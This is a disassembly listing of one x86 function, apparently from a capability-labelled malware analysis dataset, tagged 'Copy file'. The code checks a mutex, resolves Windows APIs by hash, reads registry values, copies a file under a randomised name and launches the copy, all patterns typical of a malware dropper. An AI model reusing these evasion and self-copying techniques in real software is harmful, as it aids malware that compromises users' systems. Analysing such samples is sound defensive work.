Function at 0x40b520
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
mov eax, dword [0x434a20]
xor eax, ebp
mov dword [ebp - 8], eax
mov al, byte [0x42c765]
mov byte [ebp - 0x110], al
push 0x103
push 0
lea ecx, [ebp - 0x10f]
push ecx
call fcn.004193c0
add esp, 0xc
push 0x42d6c0
call fcn.004010c0
add esp, 4
push 0x43656c
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x40b5a5
mov edx, dword [ebp - 0x118]
push edx
push 1
push 0x42c560
push 0x1e7c70d5
call fcn.004025a0
add esp, 0x10
or eax, 0xffffffff
jmp 0x40ba5d
push 0x42c765
lea eax, [ebp - 0x33c]
push eax
call fcn.0041a680
add esp, 8
mov dword [ebp - 0x340], 1
jmp 0x40b5d4
mov ecx, dword [ebp - 0x340]
add ecx, 1
mov dword [ebp - 0x340], ecx
call fcn.00419318
and eax, 0x80000003
jns 0x40b5e5
dec eax
or eax, 0xfffffffc
inc eax
add eax, 6
cmp dword [ebp - 0x340], eax
jg 0x40b65a
call fcn.00419318
mov dword [ebp - 0x350], eax
fild dword [ebp - 0x350]
fdiv qword [0x42d6b8]
fmul qword [0x42d6b0]
fadd qword [0x42d6a8]
call fcn.0041a8b0
mov dword [ebp - 0x344], eax
push str.RC_N285OycVoUx_q6
push str.3ro1:dY0d4R_FLO
push 0x25
call fcn.004075f0
add esp, 0xc
movsx edx, byte [ebp - 0x344]
push edx
lea eax, [ebp - 0x33c]
push eax
push str._s_c
lea ecx, [ebp - 0x33c]
push ecx
call fcn.0041a815
add esp, 0x10
jmp 0x40b5c5
mov edx, dword [0x436e38]
push edx
lea eax, [ebp - 0x33c]
push eax
push 0x436350
push str._s_s_s
lea ecx, [ebp - 0x220]
push ecx
call fcn.0041a815
add esp, 0x14
mov dword [ebp - 0x330], 1
mov dword [ebp - 0x114], 0
push str.MSvt_OHEm7yEl
call fcn.00407e80
add esp, 4
cmp dword [ebp - 0x330], 0
je 0x40b709
mov dword [ebp - 0x330], 0
lea edx, [ebp - 0x220]
push edx
call fcn.0040ba70
add esp, 4
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
je 0x40b6d5
jmp 0x40b709
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
push str.xDvSGA_QI_QE_r_Ayq
call fcn.00405380
add esp, 4
cmp dword [ebp - 0x114], 5
jne 0x40b707
jmp 0x40b709
jmp 0x40b6a2
cmp dword [ebp - 0x330], 0
jne 0x40b72b
push str.get_recover_file_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
xor eax, eax
jmp 0x40ba5d
push 0
push 0x1a
lea ecx, [ebp - 0x328]
push ecx
push 0
push 4
push str.Shell32.dll
push 0x40c31d4
call fcn.004025a0
add esp, 0x1c
push 0x42c765
lea edx, [ebp - 0x328]
push edx
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
je 0x40b82b
mov eax, 1
test eax, eax
je 0x40b82b
mov ecx, dword [0x436e2c]
push ecx
lea edx, [ebp - 0x328]
push edx
push 2
push str.Shlwapi.dll
push 0x6766e63c
call fcn.004025a0
add esp, 0x14
lea eax, [ebp - 0x328]
push eax
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x40b82b
mov ecx, dword [0x436e14]
push ecx
lea edx, [ebp - 0x328]
push edx
push 2
push str.Shlwapi.dll
push 0x6766e63c
call fcn.004025a0
add esp, 0x14
lea eax, [ebp - 0x328]
push eax
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
jne 0x40b82b
lea ecx, [ebp - 0x328]
push ecx
push 1
push str.Shlwapi.dll
push 0xe3fb5032
call fcn.004025a0
add esp, 0x10
push str.WDOCpXxhOj7WcIfyO
call fcn.00404250
add esp, 4
push 0x42c765
lea edx, [ebp - 0x328]
push edx
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
jne 0x40b95a
mov dword [ebp - 0x348], 1
mov dword [ebp - 0x34c], 0x104
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x348]
push edx
mov eax, dword [0x436e24]
push eax
mov ecx, dword [0x436e48]
push ecx
push 0x80000001
push 6
push str.Shlwapi.dll
push 0x107e4d02
call fcn.004025a0
add esp, 0x24
push 0x42c765
lea edx, [ebp - 0x328]
push edx
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
je 0x40b95a
mov eax, dword [0x436e2c]
push eax
lea ecx, [ebp - 0x328]
push ecx
push 2
push str.Shlwapi.dll
push 0x6766e63c
call fcn.004025a0
add esp, 0x14
push str.bFZNxhqWPx1pcMK0
push 0x5d
push 0x2a
push 0xe4
call fcn.00404a20
add esp, 0x10
lea edx, [ebp - 0x328]
push edx
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x40b95a
lea eax, [ebp - 0x328]
push eax
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
jne 0x40b95a
lea ecx, [ebp - 0x328]
push ecx
push 1
push str.Shlwapi.dll
push 0xe3fb5032
call fcn.004025a0
add esp, 0x10
mov edx, dword [0x436e38]
push edx
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x328]
push ecx
push 0x42d600
lea edx, [ebp - 0x110]
push edx
call fcn.0041a815
add esp, 0x14
push 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push VariantClear
push 1
lea edx, [ebp - 0x110]
push edx
push 7
push str.Shlwapi.dll
push 0x9f94125
call fcn.004025a0
add esp, 0x28
lea eax, [ebp - 0x110]
push eax
push 0x436578
call fcn.0041a680
add esp, 8
push str.Ii_Jqmc9XSwZkuaJJD
call fcn.00402090
add esp, 4
push 1
push 0
push 0x42c765
lea ecx, [ebp - 0x110]
push ecx
push 0
push 0
push 6
push str.Shell32.dll
push 0xe61c1b92
call fcn.004025a0
add esp, 0x24
test eax, eax
jne 0x40ba2e
push str.start_recover_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
mov eax, 0xfffffffe
jmp 0x40ba5d
push str.start_recover_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
lea edx, [ebp - 0x220]
push edx
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041943a
mov esp, ebp
pop ebp
ret